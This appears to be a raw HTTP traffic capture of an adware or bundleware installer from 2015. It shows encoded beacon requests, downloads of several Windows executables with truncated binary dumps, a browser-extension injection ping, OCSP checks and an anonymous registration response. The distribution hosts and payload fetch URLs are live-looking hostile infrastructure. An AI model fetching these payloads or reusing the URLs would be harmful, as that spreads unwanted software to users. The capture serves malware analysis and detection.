Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sOwtm5esHlk9RGUvjf4vvjJMndXsKUzHbaLIZhH6anWF5uZCTkfXtQ==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XHmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qZYBCTN_zgTWEWQx4LaYuTHe2Us1WnxLhERPFlnKrOduwddzTJ2l5w==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XWdlP5RfIHxwTxIUcsgQ w6K306ymsAKF2fYaHzpAWqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/JPJmwcGPpPe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vQPza3zhCEzMg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaHFcCX3EQ9YUkJQv83eyjojkihEoT/o2vZg94fYHE/69osBG33lbTXqfQBhy6TzfXbTUwJv5dStyC/8BwCcp7rjCWccQayTgeBkO7FeGQ3ukOslEHJDIKCu0U97 Yqww6FZN1hGLRgXqIsBG33lbTXqfQBhy6TzfXYnktKtmUQjT7bHyDTpZnukL74BXwD/7G11yNUDM1urYR5uIGRUq7ROY8
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: B2qMZYWXt-Bl6ADnPp8HXLs5PKGrp355mcSUE5alJEofgV92Z_UpoQ==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VIxKFhhAIX38mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AQuv7RhC_0IfjrxfropqjNSMI1lG2EdyPud97f9GjjFzmlqB8fcm3w==

....

GET /p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LMjG20aTz_edOSoVdoYCLa7Ej97cxlgTJe1VeUvz8BdWRO3OzBs4LQ==

....

GET /p.ashx?e=FmLXHIo2UvbdHJbbDm7BwChGKrA4jDpdQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR6Sm/NUmuZILaKig fkRtZISm48S97ya72Ul0xzv/1Q1nbJKYwPfuhADJLiVYTsNgBD4NsK07Wi5s IILilpWF0JzvOmbeJDX8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfRNQ4ACwc/17m2whhxWxfzJH5X7Vd7XRVl0z0yHeX1jFbKGbyDZiG8M= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: osm21yodOrF8FJVvdGokZtS4YuKnhhBe1yyxodws_aG3vRis5sRguQ==

....

GET /p.ashx?e=9g1KGrSSDbH4YOj/qSs/oP49U5NJcaex1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5WLazpewXw1jJn1GegIILyOsrHZsRsIfMRhg0WUsz0XmIajF ylV 6H8YWruN4e6MTuXTWi43QJZRquGFGeLBjb8FoeejtcWc2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: varOpSENVUZzbPlDjltBlGYdQeon44jG9pGwcM81hO6cQ_lC739nQA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:14 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f0216233154388a0ffe191ece5a7b
12.cloudfront.net (CloudFront)..X-Amz-Cf-Id: varOpSENVUZzbPlDjltBlGYdQ
eon44jG9pGwcM81hO6cQ_lC739nQA==......

GET /p.ashx?e=A8MIvlEETmb4YOj/qSs/oHlL/fEssKcT1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5b GEwPiedNL4s2O1I39PFhQC drCF7eFTQFnMmNWIUICT3 w1I1isDkUNguZTdpF2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: t2IibU8YsHgGxtqafXxm8ZIEHsfcpMvpvU0eUN_JXOQ7Igwedp6VKg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:16 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f0216233154388a0ffe191ece5a7b
12.cloudfront.net (CloudFront)..X-Amz-Cf-Id: t2IibU8YsHgGxtqafXxm8ZIEH
sfcpMvpvU0eUN_JXOQ7Igwedp6VKg==..

GET /Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: up.soft365.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:52 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Tue
, 24 Feb 2015 02:01:52 GMT..Content-Type: text/html; charset=UTF-8..Tr
ansfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodin
g..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..14.............
...........0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UgWJklMGOAx3S0_p8R_3yrB5WZ_eE1WZ5Ohf8JClHJDH_JPe5Gfwcw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1287434

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Feb 2015 16:00:40 GMT

Accept-Ranges: bytes

ETag: "a07318df814fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:00:27 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: f_uuMXNkJISnwW3BBCJlPTb8dSG9B3HZoE0X6F4iNNsu3kE8f1kW1A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:03:09 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 22 Feb 2015 05:13:09 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XZHlVGx-E0fd8hPprSXfx9CYFuBj_Xv_NKxcbO9WTQhJS1je3XueoA==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=GeneralInjector HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:25 GMT..Content-Length: 0..

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:04:03 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d7e21bd0ae40bcbf6ded948dde5afd90b1424743443; expires=Wed, 24-Feb-16 02:04:03 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Thu, 19 Feb 2015 03:11:58 GMT

Expires: Mon, 23 Feb 2015 03:11:58 GMT

ETag: "13515fcfa040b497356aa40b58effca759ac8719"

Cache-Control: max-age=345599,public,no-transform,must-revalidate

X-Cache: HIT

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1bd8171cc3330749-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0219031158Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150219031158Z....20150223031158Z."0 0..
. .....0......20140219031158Z0...*.H.................#w.Q......<b..
G^...P./.....S .O^.~.n...../..?..G......C"t~..../..H........0.ujH.;...
..T..v...mvy...g...........f.$e...^ ...q.Dx'.L..........p..YpWC.($..L.
Ng...b....g...y,.G.4.&.lI.8......w.E.....r......&...F....bA.]......Z..
a...N........."4.~...\z.........0...0...0..........Z..~..M..<ZYJ...
.~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redm
ond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....M
icrosoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Shoul
d be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f..
..x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.......
....bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*....
...x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O
.....<5:......r.....]..A.5........0..0...U..........<.|7...@N6p.
I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ...
....0... .....7....0.0... .......0... .....0......0...*.H.............
.....sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w...
w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3....
L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....<.
}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..9.#<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:04:04 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=de12aa3150c61fed3b27363f6ca3efffc1424743444; expires=Wed, 24-Feb-16 02:04:04 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Thu, 19 Feb 2015 03:11:58 GMT

Expires: Mon, 23 Feb 2015 03:11:58 GMT

ETag: "13515fcfa040b497356aa40b58effca759ac8719"

Cache-Control: max-age=345599,public,no-transform,must-revalidate

X-Cache: HIT

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1bd8172073a70749-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0219031158Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150219031158Z....20150223031158Z."0 0..
. .....0......20140219031158Z0...*.H.................#w.Q......<b..
G^...P./.....S .O^.~.n...../..?..G......C"t~..../..H........0.ujH.;...
..T..v...mvy...g...........f.$e...^ ...q.Dx'.L..........p..YpWC.($..L.
Ng...b....g...y,.G.4.&.lI.8......w.E.....r......&...F....bA.]......Z..
a...N........."4.~...\z.........0...0...0..........Z..~..M..<ZYJ...
.~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redm
ond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....M
icrosoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Shoul
d be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f..
..x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.......
....bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*....
...x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O
.....<5:......r.....]..A.5........0..0...U..........<.|7...@N6p.
I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ...
....0... .....7....0.0... .......0... .....0......0...*.H.............
.....sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w...
w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3....
L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....<.
}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..9.#<<< skipped >>>

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:01:24 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<ANON>.<ID>f75ccf11-a920-4df5-85cd-a4f65d27
cbf9</ID>.<PW>LlonLfTh</PW>.</ANON>.</RESUL
T>...

GET /sd?is=sm HTTP/1.1

Range: bytes=510258-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 510258-583151/583152

Content-Length: 72894

Connection: keep-alive
.^...C.&..N..I....t.{.r.u.<F.kW..%Q.9,.2..Q4.N.l4y....|...u.U.. H..
......u{.......^.?....fC....}......C...%..3C. YR<.V0g.6F1......U...
&7N.3n.....L,..w0..9.........x5o.....d...C..e........|.....)..9%.)3.Xx
...[.}...d..6..Eg..*.2.6....:.q.F.3..[l.r.3..=..!......,#o...u8U7=...q
.M..U........O.....E..-).c...Lx.?'|.............V.H...........![..... 
...e...........R1..._F...U............3I..qH.w9........eCC....d.....V5
...CV.Df....7..P..O..........D.`..;.s1...C ............)...n..(K~.....
.T......lK..'.N2)V..._.Q...5...t..${..>..A..*.F. .....Y.T.&|..vMg=.
........>s.g.b...7& ^.l7..m......:.....e`.....;..ig..M..74NJ.`....a
...n...*j_.V........Ri..c,.]..R.Kr..c..y.B....^.C^4A.[RPG..fT......"..
M...........MYr.......B.[.k.O.M.t]....s...~A.f<~~..i.9....RY}lB..7.
..v-..!U..."\I....M..C.1;..<...xn..O....b...f........l.^......vb.i"
..4.Ah9[..n.....3t.~..w$...........%..l.q.p;.Y:_8p..p.L..%..J&"....6x;
.......z.^O`.F.y..{..F..mm.f.%...F........tXP.T.'.%............R..n...
.Z.[....l...<..S?....J}o........wCw.q.Lmm0.......t............kp.k.
